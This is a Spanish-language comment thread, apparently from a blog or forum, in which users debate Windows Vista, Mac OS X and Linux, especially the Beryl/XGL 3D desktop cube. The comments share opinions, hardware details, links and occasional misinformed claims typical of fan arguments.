Eso que dijo que microsoft es el lider, lo llamaria como Ernesto MAS POPULAR, un lider es alguien que es mejor que los demas y claramente windows no lo es, pero vamos Jonathan Alexander dice que todo el mundo migrará a vista por razones de software y si es cierto pero te hago esta pregunta ¿Si la gente conociera a Linux que es gratuito tu crees que no se cambiarian a Linux? en Vista pagaran 400 dlls en linux un DVD virgen para quemar la distribucion o pagar 2 Dlls o 3 por el DVD ya quemado... por otro sistema que te ofrece lo mismo en funcionalidad y mejor en seguridad, ok de acuerdo no hay los misma cantidad de juegos en linux como en windows (me imagine que irias por eso, si no es asi, disculpa pero es la unica diferencia que encuentro con lin y win) BUENO ES TODO=)

WOW por dios!!!!!!!!!!!!!!! Linux Tiene asombrosas funcionalidades y efectos visuales!!!!!!!!!!!!!!!!!!! me quetio el sombrero ante Linux y eso que uso Windows XP JAJA

uso una vaio vgn a190, tuve problemas con un modulo de ram y el unico sistema que me trabajo de forma estable fue Macx86, la neta no quiero decirle adios pero el modulo dejo de funcionar totalmente.

Quisiera modarme a linux pero... aun no le llegan a M$Office. Y para checar el recibo de telmex necesito ie. asi que aunque quiera no me puedo mudar. Pero lo seguire penzando.

Para la gente que todavia no sabe lo que es linux, les comento que tengo a partin de este año tengo ubuntu con xgl y beryl corriendo en mi maquina totalmente gratis!!, nada de pirateria, y totalmente espectacular!! y sin necesidad de cambiar el hardware PIV 2.8 RAM256 y nvidia Gforce de 128Mb (es mas parece que con mucho menos corre igual)

Ademas les comento que tengo el OFFICE corriendo sobre el (con wine), ademas del open office que viene por defecto en el CD...lo podes bajar gratis o pedirlo y te lo mandan a tu casa (www.ubuntu.com).

mncarbone@gmail.com

EL FINAL DE LA DICTADURA DEPENDE SOLO DE NOSOTROS!!

LIBERATE!!

http://fredcpp.wordpress.com/2006/09/29/instalar-beryl-en-ubuntu/

ES GRATIS Y ES MEJOR!! Y CORRE EN CASI CUALQUIER HARDWARE!!

QUE HAY QUE PENSAR????

SEAMOS LIBRES DE UNA VEZ POR TODAS!!! LINUX - UBUNTU -BERYL

Yo tengo una super duda!!

Ahora que las MAc traen procesadores intel se les puede instalar cualquier Linux X86???? Cambiare mi PC por una iMAc y ahi tambien quiero tener mi Linux con beryl =)

Bueno, por si alguien aun tiene alguna duda aqui hay algunas curiosidades acerca de linux:

http://www.ubuntu-es.org/index.php?q=node/10078&page=1

¿cual es el SO mas utilizado por las mas grandes supercomputadoras?

http://www.top500.org/stats/27/osfam/

No hay mas puntos de comparacion, saquen sus propias conclusiones

Seamos prácticos: el Mac OS X es el mejor, la demostración de Spaces (el sistema para escritorios virtuales del Leopard) deja claro cuál de los tres es mejor. Vista sin comentarios, Linux: un cubo muy bonito, pero le tienes que dar mil vueltas para encontrar a donde quieres ir, habrá gente que se desoriente... Spaces lo muestra todo claro, sin complicarse la vida y de forma elegante. Recordemos que hay que combinar espectacularidad y utilidad.

También me sorprenden algunos 'linuxeros' de nueva hornada que se creen que lo saben todo, MAC OS X NO SE CUELGA, por lo menos en mi experiencia, y si algún programa lo hace basta con ir al menú Apple > Forzar Salida. (Otra cosa, los requisitos de Mac OS X son insignificantes si miramos lo que es capaz de hacer. Ventajas de controlar el hardware) Esta clase de usuarios de Linux son nuevos, está claro; los verdaderos 'geeks' de Linux se documentan antes de escribir tonterí­as. Por supuesto, no incluyo a todos los linuxeros en el mismo saco: hay usuarios y usuarios. Yo mismo soy usuario de Linux en mi PC antiguo ya :-(, mientras que en mi MacBook uso, por supuesto, Mac OS X.

A los nuevos usuarios de Linux les recomiendo que lean sin parar, guí­as, tutoriales, HOWTOs, y que prueben a instalarlo y experimenten. http://es.tlpd.org es una web con documentación sobre Linux. Como distribución les recomiendo Ubuntu, que es muy fácil de usar e instalar.

Un saludo.

disculpenme pero yo e probado iglx con 32 mb de video y 128 de ram, y el beryl me funciona generalmente bien, aunque calro es mejor tener un poco mas de memoria

muy bn el linux me facino soy un experimentado ingeniero en informatica y programador me quedo total mente con el osx el vista podria ser el linux puede a los que leean esto yo les aconsejo osx contactenme seba_antofa@hotmail.com

Windows Vista es lo mejo que hay en el mercado, es la garantia mas eficaz de todas, los otros simplemente andan detras de el, nunca se comparara el Mac OS con Windows, a pesar de lo que hacen los otros dos, unicamente son graficos, Windows siempre sera el mejor, pesele a quien le pese

Vamos a ver, soy programador, y trabajo a diario con un MAc, aunque en casa tengo un PC con windows y Linux.

Esta claro que el sistema mas estable es el MAC OS X mas fiable y rápido. ¿Pegas?

Ampliar el Hard de un MAC pued probocar que se te caiga el pelo, ya que aparte de que es dificil conseguir componentes, son muchisssssimo mas caros. Para Jugar y ocio no es el más indicado, a no ser que te dediques a la música. Además no todos los programas están en MAC.

En cuanto a linux veo que es un sistemna tambien más estable que windows, aunque por mucho que quieran decir lo contrario, Linux esta escaso de programas decentes, esta bien si eres un freak de la informatica y te consigues amoldar a cualquier cosa.

Windows, es puro error, pantayazos azules y demas errores (cosa casi imposible en MAC osx y Linux) ahora bien, si está bien configurado, se puede usar, la ventaja, que puedes usar todo el software, todo es la unica plataforma en la que encuentras todos los programas, juegos, utilidades etc etc etc.

En definitiva si eres nuevo en el mundo de la informática sigue con windows, para el que quiera trabajar OS X (olvidate de jugar). Y si de verdad eres un Freak de la informática pon linux.

Yo pienso = ke Jonay, el Mac te rinde bien para diseño y cosas similares, es un S.O muy confiable y por lo que he leido y me han contado no se cuelga y funciona bien, pero a comprarme una Apple como que eso lo veo un poco dificil :D, asi que me quedo con linux que cada vez crece mas y tiene cosas mas novedosas y como que no tiene nada que envidiarle al Mac, ademas tooo es gratis y le puedo meter lo que quiera y mover a mi gusto todo, lo cual con el Windows es impensable, el Windows junto con su IE solo se dedican a copiar las cosas novedosas que sacan los demas, no se porque hacen tanto loquerio por el Windows vista que es la misma wada que el xp pero mas eye candy, esa webada te consume mas recursos que cualquier otra cosa necesitas para que corra optimamente 40 gb ojo solo el windows osea con paint y su buscaminas, etc osea 40 gb para que funcione !!!!!!!!!!!! y sin contar la ram de 1gb y el procesador mas el video osea compu nueva para el Vista, me quedo mil veces con mi Debian a cambiarme a esa wada que se me llena de virus y despues lo van a parchar mas veces que llanta vieja ... cuanto pesaran sus parches??? 1gb? :S.

Esa apariencia nueva del linux realmente es un asco es preferible la sobriedad de las otras versiones todo ese movimiento es puro descreste no cambiarí­a la elegancia del Mac OS por esa basura. ni hablar del win vista.

Yo he utilizado toda la vida windows, i seguramnte lo seguiré utilizando, devido a que mi ordenador puede tirar i de sobras con un sistema operativo de este estilo. Que me dicen de los juegos para PC de microsoft? NI maC ni Linux

Procesador Athlon 64 x2 4600 (2.4Ghh REALES!! doble nuclio)

Tarjeta grafica de 512MB

Memoria RAM 2024DDR

250GB de disco duro

QUÉ MÁS QUIEREN?

He visto el video del Linux como todos y reconozco que es sorprendente pero...

¿Que utilidad hay en hacer todo eso??

Pues despues de dos minutos de verlo era risible ver como el tio movia los iconos del dock de forma demencial de un lado pa otro sin parar.. Pienso que ante todo los sistemas deben ser lo mas funcionales y sencillos posibles, les recomiendo a los Linuxeros que no se centren en cosas asi o su sistema operativo perdera la credibilidad y el respeto que se ha ganado, en lo personal hablando con franqueza a tanta vaina y a tanto "jueguito" no le veo ningun SENTIDO ....

JAJAJA pues no le ves ningun sentido porque aun no te animas a instalarlo!!

Es verdad que el tipo se abuso de tanta vueltita, pero yo que lo uso te puedo asegurar que es mucho mas practico, mas flexible, totalmente configurable, es muy rapido y no te consume nada de recursos. Y si algo le faltaba a Linux para superarse era la interfaz grafica. Ahora ya lo han logrado y han superado ampliamente a cualquier otro so, en cuanto a seguridad, velocidad, rendiminento, utilizacion de recursos, estetica,facilidad de uso y costo!!!...

¿que utiliza google, el buscador mas grande del mundo en sus servidores?

http://google.dirson.com/google-linux.php

... y el mundo será libre al fin!!!

VIVA LINUX

he visto Qubuntu funcionando de una manera impresionante en un pentium3 a 600mhz con 300 megas de ram. De hecho ese ordenata, q no tiene ni carcasa, esta siempre encendido funcionando como servidor y siendo actualizado con un ibook de 12" a la vez que suena la radio, chateas, descargas (gratis) actualizaciones ves fotos... (Ya esta bien no?). Funciona al nivel de mi winXP Pent5 2,6 512mgs del curro afinado regularmente por un tecnico. Linux seria el futuro... pero sin pasta de por medio... bueno no hace falta explicar mas del mundo no?

dios mio que bendicion tener linux e usado w y m pero linux me maravillo desde el primer dia no soi el experto en computadoras quisa nunca llege a usar a cabalidad lo que un sistema operativo permita pero por lo poco que se linux supera cualquier cosa,dios primero y despues linux

Pues yo estoi pensando el migrar a Kubuntu al 100% sin tener Windows en ninguna particion pero hasta que no encuentre un hueco de tiempo.... El unico problema que veo es que la tarjeta de red SMCWUSBT la deberé quitar y poner la tarjeta de red tipica y el router pinchado a ella :( por lo demas a vivir como un rei jajajajaa

Donde se consigue ese Linux o el RedHat ??

si alguien me puede ayudar con esto

Soy médico anestesiólogo, me gustaria me orientaran, pues pienso cambiarme al sistema Macinstosh y abandonar Windows, pienso que el sistema operativo por sus comentarios es mejor, pero me gustaria saber que requerimientos necesita tener la maquina para correr el Leopard y que opinan ustedes del cambio. Favor escribanme al correo echeona@hotmail.com.

Costa Rica.

Pues a mi personalmente el nuevo windows vsta me encanta, además es el más utilizado, tal vez sea cierto que no innovan sino que copian, pero sea como sea, yo creo que lo hacen bastante bien, los nuevos gráficos de pantalla me parecen geniales, además el cubo ese de Linux no me gusta nada, tener ahí­ cuatro escritorios que luego no sabes ni donde tienes cada cosa, y te mareas ahí­ dandole vueltas, prefiero el flip 3D del nuevo Windows Vista, además con que valla rápido y sea eficaz me vale, y no cabeduda de que Vista es eficaz y supongo que más rápido que XP, y como XP de Windows me parece bastante bueno y rápido, sin duda Vista de Windows es muy bueno, además el Flip3D y la transparencia cristalina, los gráficos de los iconos brillantes y translúcidos... son mejores que los de Linux o los de Mac. Me encanta ese efcto esa apariencia y que quereis que os diga, yo Linux lo veo feo en cuanto al diseño de iconos, ventanas, barras, botones, etc. Me quedo con el nuevo Windows Vista (Ultimate para tenrlo todo) y mas contento que Chopí­n. Y no ahí­rompiendom la cabez con el petardo de Linux, y por supuesto mucho menos con Mac.

Mi orden de preferencias es:

1íƒÆ’í­€Å¡íƒâ€ší­Â· Windows Vista

2íƒÆ’í­€Å¡íƒâ€ší­Â· Windows XP

3íƒÆ’í­€Å¡íƒâ€ší­Â· Linux

4íƒÆ’í­€Å¡íƒâ€ší­Â· Mac

Impresionante cómo la gente se deja guiar por los efectos visuales. Yo admito que Linux se ve bastante bien, pero eso no lo hace ser el mejor SO. Yo, en lo personal, prefiero un Mac. Aunque yo uso los 4 SO mencionados en el comentario previo a este. Hay que fijarse también en lo técnico, en las funciones del SO, etc. También el precio cuenta.

Para LEO:

Se ve que no tienes ni idea de Linux

"el Flip3D y la transparencia cristalina, los gráficos de los iconos brillantes y translúcidos" Con Beryl tienes todo eso y más

http://www.cesarius.net/beryl-el-escritorio-linux-esta-que-arde/

"lo veo feo en cuanto al diseño de iconos, ventanas, barras, botones, etc. "

Pues a linux puedes ponerle el estilo que quieras (incluso te bajas gratis los iconos y las ventanas del vista!! jeje) Y si aun no te gustan los puedes dibujar tu mismo!!!

"no ahí­rompiendom la cabez con el petardo de Linux"

y que me dices de los virus, antivirus, incompatibilidades con hardware, costo, licencias....

EN LINUX ESO NO EXISTE!!!

http://www.mononeurona.org/index.php?idp=124

VIVA LINUX

¿como conseguirlo? sigue este consejo:

http://ayudalinux.wordpress.com/

...es como dice jose mas arriba "dios primero y despues linux "

y eso que yo, gracias a dios soy ateo....

Por todo eso que mensionas:

- los efectos visuales

- lo técnico

- en las funciones del SO

- el precio

Y por mucho más....

VIVA LINUX!!!!

Linux es el futuro (el presente para los que ya lo disfrutamos)

http://www.cesarius.net/beryl-el-escritorio-linux-esta-que-arde/

LIBERATE

...es como dice jose: "dios primero y despues linux"

QUE LES PUEDO DECIR...... probe Linux y Mac no son de mi agrado les dire Linux es totalmente incompatible con casi cualquier hardware del mercado por esto lo deje de usar, en cuanto a Mac es mucho mas compatible que linux en cuanto a, Mac es caro muy caro y mi preferido es Windows, ¿por que? absolutamente todo es comatible con windows, diran que no tiene tanto grafico pero que no la utilidad y compatibilidad son lo mas importante. sssssi lo es.

A los seguidores del Mac les digo que seria el Ipod sin el soporte o sin la adaptacion a windows.

y a los de Linux espero y pronto los tomen encuenta, lo dudo saben por que, Linux es libre no tiene soportes o una expansion tan grande nunca la tendra.

hola che nadie me adivino el fututro

oigan si porfavor algien me pueda desir de donde bajo ese linux uso ubunto

porfa

La verdad que lo de linux es increible , estoy bajando el linux ubuntu 6.10 que tiene

700 mega , me gustaria si ese linux puede hacer lo de el cubo , o si tengo que bajar algo mas para poder hacerlo .

Bueno, yo soy fanático de las computadoras Mac, porque tengo una iBook G4 que realmente es sensacional tanto su hardware como su software, no lo cambiarí­a por un Windows que siempre ha estado imitando a los mejores Sistemas Operativos que son Mac Os X y Linux, creo que mas allá de la competencia Mac Os X y Linux vs Windows, deberí­amos apoyarnos para que nadie use Microsoft e invitarlos a que usen Apple Mac Os X y Linux en todas sus versiones y modelos, ya que estamos en contra del código cerrado.

Perdonen que no me haya presentado, mi nombre es Manuel y estoy a favor del código abierto y del software libre.

aaaaaaa la gran linux esta pelado nuk pense que fueran hacer algo tan estupendo!!! bueno para mi linux mato a windows vista, linux tiene como15 veces mejores cosas q windows.....

Las instrucciones para instalar beryl en cualquier linux están en

www.beryl-project.org

En SuSE va de serie compiz, aunque tiene menos efectos que beryl.

MEMOK pruebalo y habla. No tienes ni idea.

Como puedes saber que algo no te gusta si no lo has probado?

Te vas a dar cuenta lo que es un SO en serio.

Empieza por aqui:

http://ayudalinux.wordpress.com/

VIVA LINUX!!

Yo tengo windows xp. quisiera experimentar linux pero no se nada de este SO, me pueden decir que se necesita de conocimientos tecnicos para usar este So, ya que siemrpe he trbajado con windows. Gracias

Kaliman "quien domina la mente lo domina todo"

Sin lugar a dudas la mayoria de los que aki han posteado nunca han trabajado en otra plataforma ke no sea WINTENDOWS ya que Mac OS ya nos esta deslumbrando con su interfaz grafica y linux como mac con su estabilidad tambien desde hace ya varios años sin necesitar un procesador voluminoso como vista, sin LUGAR A DUDAS VISTA EL PEOOOORR...

El linux le ha dado mil patadas al windows vista, de verdad... al ver este video se me ha caido la baba.. ha dejado por los suelos el potencial de windows..

Arriba LINUX!!

Arriba!

sobre linux: sin palabras...

Pero cuando linux en sus tantas versionas logre correr software para diseño; adobe, macromedia, corel, 3d max, maya etc y todo lo referente a multimedia les aseguro que me cambiaré, mientras eso ocurra seguire usando windows o mejor aún, su padre dios en el tema, Macintosh, amén

Ya que salio el nuevo win vista.. y a razon de todo lo que he podido comparar entre sistemas operativos.. me gusto mas la idea del linux..

pero tengo una duda.. he leido que existen varias versiones, con compiz,xgl y no se que tantas cosas mas, igual que esta el ubuntu, debian y no se que tantos mas habro por ahi..

Bueno, quisiera que me recomienden o me explicasen sus diferencias. esto es con el fin de ayudarme un buen sistema operativo..

me a gustado linux pero me gustaria que me dijieran que linux es yo tengo el fedora core 4 y suse 10 pero no se cual instalar y que haria para que me saliera ese cubo no se mucho del xgl y donde se consigue ya he probado el windows vista y la verdad no me a gustado para nada pide mucho y no ofrece nada novedosa y con eso de que lo quieres al 1000% original como que no

I see that all Linux users have no work else comparing between windows and linux.

it is the biggest prove to weakness of Linux.

yo uso windows desde siempre, uso linux una vez al mes, en mi pueblo se puede ver una mac sòlo en internet, yo pienso que linux es el so ideal para internet, mac para el diseño (es lo mïo), windows es para los idiotas que usan la escusa de los juegos, si quieren juegos comprensen una ps2 o la 3, al resto les pido que comparen, las pcs son horribles, vale la pena comprarse una mac

a kos usuarios q tanto dicen q mac os q se keja del reconocimiento de hardware de linux solo deciros q ocurre por una razon apple pertenece en gran parte de microsoft por lo que estre ellas la compatbilidad de hardware es muy sencilla proq se pasan los codigos los unos a otros en cambio en linux rekiere un gran trabajo poque tienen que adapatar los controladores de todos los dispositivos y no simpre es facil en cuanto a la innovacion applel inovo sol en el aspecto porq los power g5 de odble nucleo y demas q usa ahora los mac son de intel porq asta ace no muxo usaban los de ibm en lo de lo de los multiples escritorios gana linuxpor se novedoso y su sistema de cambio tb admitamos q mucas cosas q salen en linux es porq usuarios de linux ven cosas en desarrollo o desarrolladas en otros so y les gustaria verlas en el suyo por eso las agregan tb ahi que decir q la desmostracion del tio es cargante y no muestra muxas otras cosas q son capaces de acer bery xgl y compiz como lo de anotar cosas detras de l ventana yo sinceramente prefiero ante todo linux aunke aun no es una plataforma q use debido a su dificultad aunke tampoko es muxa sinambargo uso windows por su facilidad y por su arraigo en la sociedad pero espero q dure poko y macos apesar de ser ser un sistema me gusta esteticamente no esta bien ubicado en mi lista

yo sinceramnete apruebo windows por eso xq lleva toda su vida aunke sea una mierda como un templo y lo kiera cambiar por ijos de puta careros y q no comparten su so con el mundo como ace linux q es gratis ademas q linux es el so mejor optimizado del planeta corre con casi todos los ordenadores asik linux al poder

Soy usuario nuevo quisiera saber si mi PC esta a la altura para instalar XGL mi PC es

Celeron 1.1

256 RAM

64 video

Targeta Grafica Sis 630/730

no se si seran suficientes.

Pues creo que realmente Linux y Unbutu son muy buenos, pero seamos sinceros, es muy complicado conseguir programas y peor dispositivos que funcionen con él, por ejemplo, olvidate de Nero, VNC, ITunes, Paquetes Macromedia, Adobe Reader, MSNMessenger, en fin, no es que Windows me parezca la locura, pero realmente por razones comerciales (a menos que vivas en Cuba o te creas hijo de Chavez) es mejor quedarse con Windows, Pero no con Vista, pide mucha máquina y no vale la pena por solo unos gráficos que los puedes encontrar con Linux o Mac

Windosssss Vistec." no vale la pena pagar tanto dinero " si eres usuario del XP solo ponle algún skin y listo, si tienes Linux no cambies y dale que la batalla es dura y tu eres parte importante y si usas OSX pues me imagino que tendrás dinero para comprar el vista pero no lo harás por que tienes algo mejor con tu mac.

Tu futuro si compras el Windows Vistec: una satisfaccion momentanea de abrir tu caja bonita, y despues al querer instalarlo pues a comprar hardware.... y ya intalado ... ARREPENTIMIENTO DE GASTAR TU DINERO POR UNOS CUANTOS GRAFICOS TONTOS... asi funciona el capitalismos nesesidades CREADAS, tu crees que nesesitas un nuevo sistema opertivo, de ser asi prueba un linux o si quieres gastar dinero como loco pues una mac seria muy buena eleccion.

(No compres espejitos.)

Soy analista de sistemas... y estudiante de ing. en informatica ,usuario de linux desde el 2000 Con respecto...a conseguir programas en linux.....gente (hay una comunidad de millones de usuarios desarrollando dia a dia aplicaciones para que las usemos) por favor informense antes de hablar.

Obvio que el mejor SO es linux....pq no surge de corporaciones con solo fines de lucro..sino de una "comunidad" eso tendria que prevalecer inclusive por encima de fabricar software.

Con respecto a los escritorios....tecnologicamente me parece que xgl + compiz o beryl...tienen un esquema muy interesante..delegando trabajo a la placa de video.

Aparte...podemos seguir programando y generando nuevos efectos siempre...TENEMOS LOS FUENTES...(podemos hacer lo mismo con Vista jeje y Mac?)

SEÑORES...SOLO EL CONOCIMIENTO TE HACE LIBRE...LEAN ANTES DE OPINAR

TENGAMOS OPCION...QUE EL SOFTWARE NO NOS CONROLE, ES SOLO UNA HERRAMIENTA ....CONTROLEMOS EL SOFTWARE..SI TIENES DINERO COMPRATE UN VISTA Y ARREPIENTETE...SI TIENES MAS DINERO UTILIZA MAC

windows must die

Ps la verdad todos siempre tendran sus ventajas y desventajas:

Linux= Es un gran SO, gran revolución gráfica, en cuanto a efectos y cosas asi supera al OSX y obvio a Windows, miren los efectos graficos de Linux son a base plugins, osea k tu los activas o desactivas dependiendo lo k kieras. Es facil de usar, aunk todos digan k no, es muy facil de usar, = k windows y mac solo es kosa de buscar info. Generalmente los problemas son en cuanto a programas, k linux no tiene, pero por ejemplo si hay un nero para linux, y hay programas, no tan buenos, pero similares en funciones a los de adobe, macromedia, etc. Yo prefiero el linux, "Software Libre" :D

Mac OSX= Es lo mejor k existe en cuanto a diseño, edicion de audio y video, es muy bueno en eso, es el SO perfecto para fotografos, cineastas, ingenieros de audio, video, etc... Si eso buscan, aki esta el OSX perfecto para ustedes, y tmb es muy facil de usar

Windows: El mas inseguro de los 3, como linux y OSX stan basados en UNIX, son muy fuertes en seguridad.. Pero kieran o no, Windows por mucho tiempo sera el mas usado, y para el k se creen mas programas.

Yo uso windows, como la mayoria de la gente, por costumbre, pero ya ire cambiandome a linux. El pex de las Mac es tener k comprar el ordenador a webo, y recuerden k no toda la gente gana muy bien como pa comprarse computadoras asi, = las pc's nuevas tan por los mismos precios, y linux agarra bien en una pc medio viejita, asi k ni pex xD... Todo es x gustos y preferencias,

Definitivamente LINUX!!!!.

porque??? ok primero las caracteristicas de mi computadora:

procesador p3, 700mhz, 328mb de ram, targeta de video nvidia fx5200 128mg

ues e tenido vista instalado en mi maquina y linux ( opensuse y ubuntu... ambis dos son buenos ) pues el vista me consume demaciados recursos y la computadora se me pone lenta OJO Y ESO QUE NO TIENE LOS EFECTOS VISUALES DEL XGL DE LINUX!!!!! mientras que mi linux ( actualmente ubuntu) me corre perfecto con mi cubo ( xlg ..... les recomiendo beryl...... )

Otra razon por la que me quedo con linux?? ES LIBRE! no pagas por tenerlo. Mientras que en windows tienes que pagar una licencia que te quita el ojo de la cara XD ( claro existen los crack de windows..... que ya estan para el vista tambien ) pero eso ya implica siertos aspectos negativos, juiciosos y demas otras cosas que van contra ello....

Otra razon?? los efectos visuales en linux no solo son solo efectos visuales. SON herramientas MUY FUNCIONALES para cualquier tipo de trabajos, empresas, etc.

OTRA COSA: En ese video sale un cubo correnco?? pues con el beryl puedes ( si quieres ) hacer que deje de ser cubo........ XD poniendo asi un triangulo ( 3 lados ) o poniendo un octagono ( creo que es asi ) 8 lados!!!!! hasta 16 puedes XD XD. Aparte ponerle una imagen 3D de fondo para que cuando gires tu cubo, lo gires por un entono animado. XD.

Otra razon por cambiar de windows ( vista ) a linux??? Su seguridad.... pues seguridad mejor que las de las MAC ninguna.... pero cuando para microsoft existen miles de viruz y asi tambien miles de antiviruz ( que para colmo PARA TODOS TIENES QUE PAGAR ) en linux hay pocos y los antivirus son gratuitos XD.

Toda mi vida e sido usuario de Mocrosoft. Especialmente del xp pero el diciembre pasado cuando comence a ver los videos del xgl de linux ME SORPRENDIO DEMACIADO y desde entonces y hasta siempre linux....

Muchos dicen y piensan que el linux es muy complejo y que para configurarlo es un proceso demaciado complicado..... pues les cuento que yo e hecho esto y mucho mas ( como emular desde uno de los lados del cubo mi xp. ) con solo conocimientos basicos....

Asi que animence!!!!!. que todos estamos dispuestos a ayudarnos en los foros XD.

Mi puntuacion personal:

Efectos graficos: Linux 100%, Mac 70%, Vista 40% ( al menos que sepas ponerle los iconpack y los desktop y todas las aplicaciones para ello) entonces le daria un 60%

Rendimiento: Linux 80%, Mac 100%, vista 30%

Compatibilidad con programas: Linux 100% emulando xp con maquina virtual y usando wine o cedega, Mac 60%, Windows 100%

Facilidad de manejo: TODOS SON BUENOS. En especial la Mac que puede ser manejado hasta por un bebe XD de lo facil que es...

Bueno aqui me despido ara no extender la cuestion jejejeje... Amigos los dejos, espero que les alla gustado mi comentario.... y apoyando siempre a ....UNIX...

PD: ""asta los espertos dicen que no usaran vista hasta dentro de un año, por razones de desconfianza en el producto.... XD "" me creen??

Definitivamente LINUX!!!!.

porque??? ok primero las caracteristicas de mi computadora:

procesador p3, 700mhz, 328mb de ram, targeta de video nvidia fx5200 128mg

ues e tenido vista instalado en mi maquina y linux ( opensuse y ubuntu... ambis dos son buenos ) pues el vista me consume demaciados recursos y la computadora se me pone lenta OJO Y ESO QUE NO TIENE LOS EFECTOS VISUALES DEL XGL DE LINUX!!!!! mientras que mi linux ( actualmente ubuntu) me corre perfecto con mi cubo ( xlg ..... les recomiendo beryl...... )

Otra razon por la que me quedo con linux?? ES LIBRE! no pagas por tenerlo. Mientras que en windows tienes que pagar una licencia que te quita el ojo de la cara XD ( claro existen los crack de windows..... que ya estan para el vista tambien ) pero eso ya implica siertos aspectos negativos, juiciosos y demas otras cosas que van contra ello....

Otra razon?? los efectos visuales en linux no solo son solo efectos visuales. SON herramientas MUY FUNCIONALES para cualquier tipo de trabajos, empresas, etc.

OTRA COSA: En ese video sale un cubo correnco?? pues con el beryl puedes ( si quieres ) hacer que deje de ser cubo........ XD poniendo asi un triangulo ( 3 lados ) o poniendo un octagono ( creo que es asi ) 8 lados!!!!! hasta 16 puedes XD XD. Aparte ponerle una imagen 3D de fondo para que cuando gires tu cubo, lo gires por un entono animado. XD.

Otra razon por cambiar de windows ( vista ) a linux??? Su seguridad.... pues seguridad mejor que las de las MAC ninguna.... pero cuando para microsoft existen miles de viruz y asi tambien miles de antiviruz ( que para colmo PARA TODOS TIENES QUE PAGAR ) en linux hay pocos y los antivirus son gratuitos XD.

Toda mi vida e sido usuario de Mocrosoft. Especialmente del xp pero el diciembre pasado cuando comence a ver los videos del xgl de linux ME SORPRENDIO DEMACIADO y desde entonces y hasta siempre linux....

Muchos dicen y piensan que el linux es muy complejo y que para configurarlo es un proceso demaciado complicado..... pues les cuento que yo e hecho esto y mucho mas ( como emular desde uno de los lados del cubo mi xp. ) con solo conocimientos basicos....

Asi que animence!!!!!. que todos estamos dispuestos a ayudarnos en los foros XD.

Mi puntuacion personal:

Efectos graficos: Linux 100%, Mac 70%, Vista 40% ( al menos que sepas ponerle los iconpack y los desktop y todas las aplicaciones para ello) entonces le daria un 60%

Rendimiento: Linux 80%, Mac 100%, vista 30%

Compatibilidad con programas: Linux 100% emulando xp con maquina virtual y usando wine o cedega, Mac 60%, Windows 100%

Facilidad de manejo: TODOS SON BUENOS. En especial la Mac que puede ser manejado hasta por un bebe XD de lo facil que es...

Bueno aqui me despido ara no extender la cuestion jejejeje... Amigos los dejos, espero que les alla gustado mi comentario.... y apoyando siempre a ....UNIX...

PD: ""asta los espertos dicen que no usaran vista hasta dentro de un año, por razones de desconfianza en el producto.... XD "" me creen??

Miren no digan que windows es malo por que no lo es no venderia tanto, que me dicen del office aunque tambien lo corra la mac es de Microsoft para windows y windows lo salvo de la quiebra y linux solo lo grafico es bueno lo demas esta del nabo diganme quein lo usa, no conozco a nadie, no hay como mac la verdad es elegante y son rapidas

les escribo desde mi macbook y tengo 14 años jeje pro si se lo que es bueno y lo que es malo y vista no es malo tambien es elegante y no es tan caro como mac

tambien en mac solo hay un os nada de que debian ni madre ymedia en mac todo es 64 bits y la misma seguridad mac es lo mejor linux se ve bonito pro tambien le falta elegancia progrmas que sea sencillo y los que dicen que en unos años todos van a usar linux laneta pobres weyes nadie lo usa ahorita como lo van a usar en un futuro si ni siquiera hay `publicidad ni nada ni programas jeje algo es seguro si windows no se pone las pilas lo van a dejar de usar la mayoria aunque ahorita controla el 90% de los ordenadores del mundo

no conozco a nadie que no lo haya usado una vez en su vida y linux pues la neta nadie lo ha usado ni lo usara por no sirve de nada sin programas de que me sirve que el cuadrito se mueva

en cambio winsows o mac tienen de todo un poco pero pues yo digo que el mejor es el que se acomode a tus necesidade como:

windows, si eres una secretaria, un niño que chatea o juega y haces la tarea alli pues es el mejor en ese caso

Mac pues ya si eres un diseñador grafico tambien es el mejor en ese caso

y linux pues si eres una persona que no tiene nada que perder instalando y girando el cuadrito sin motivo alguno sentado todo el dia frente al ordenadorpues si

PD acabo de sacar mi sertificado en en powerpoint jeje tambien tngo el de word solo me falta el de excel!!!! ya se que no les importa pero quiero que sepan que aunque tenga 14 año se de esto y ademas tngo una macbook pro

La verdad no se que pueden decir acerca de Windows, no hay nada que defender... digan lo que digan los fanáticas... es un asco!

Linux tiene muhco potencial, y claro sus efectos son los del MacOS. PEro lo que no ven es que reescribieron al forma de hacer os gráficos... sii de forma gratuita, cosa que ni con millones hacen los peleles de microsoft

Mac es de los más estables, y vale la pena pagar claro no mucho por él.

LA verdad tienen razón unos psot si sabes por lo menos algo de computación o te jactas de saberlo, tienes completamente claro que windows no tiene con que competir, naada. es un asco, claro si ya te lavaron el cerebro pues ni que decir no... pero abstengance de ofender a los demás con su ignorancia

donde se pude bajar

Mira Perci, ya k eres un fanatico de mac, como se ve eres fan de mac y un niño k apenas sabe algo, se nota presumidita, mira.

En Linux hay muchos programas, cheka aki y y si no sabes mejor no hables ok,

http://www.linuxrsp.ru/win-lin-soft/index-spanish.html

LINUX!!!!!!!!

Ahi sta pa los k se kejan de k no hay programas para Linux, ahi hay una lista completa para los k tngan Linux, la vdd Linux se ve como buena alternativa, tiene muchos muchos programas, solo es cosa de buscar, y tmb es tan facil de usar como el Mac OSX k tmb es muy bueno... En fin si algunos apoyan linux, otros mac y otros windows, es xq somos diferentes y todos tenemos nuestros gustos, y es mejor asi, k kada kien aproveche al maximo su respectivo SO de acuerdo a sus gustos y preferencias. Siempre va a ver gente k le gustara Windows, aunk todos digan k es un asco. Tmb siempre habra gente k adore Mac, pork es un muy muy buen SO y muy seguro. Y Linux tmb es muy bueno, pork es muy personalizable y eso es importante, para k la gente lo modifique totalmente a su gusto y se sientan bien kn su SO. Y k viva el SOFTWARE LIBRE!!!!

disculpen quisiera saber cual linux es el que se esta utilizando en el video es que me parecio muy vacano y quiero migrar a linux y una pagina donde pueda descargarlo

gracias

señores:

quien fue el primer ordenador con un solido SO fue Macintosh y eso basta lo demas es complementario y hasta opcional y para dar mas enfasis soy un ferviente partidario de Apple si veo un pc me asquea y me hace vomitar pero si hablamos de cual SO es prometedor y seguro es facil señores solo la gran familia creada en el 2001 si creen que phanter y tiger es lo maximo error, hay mas vendra leopard puma y otros mas listos para nosotros y en cuanto a las otrras hordas q ue se hacen llamar SO bueno el tiempo les dara muerte y apple fracasa no importa los genios siempre se equivocan pero no tanto como otros(que se hacen llamar).

Despues de leer la mayorí­a de los comentarios es claro que muchos levantan la voz para protestar contra el sistema que los ha acompañado siempre , es como la vida misma no?

Pero no hacen nada por cambiarlo porque mal y todo funciona.

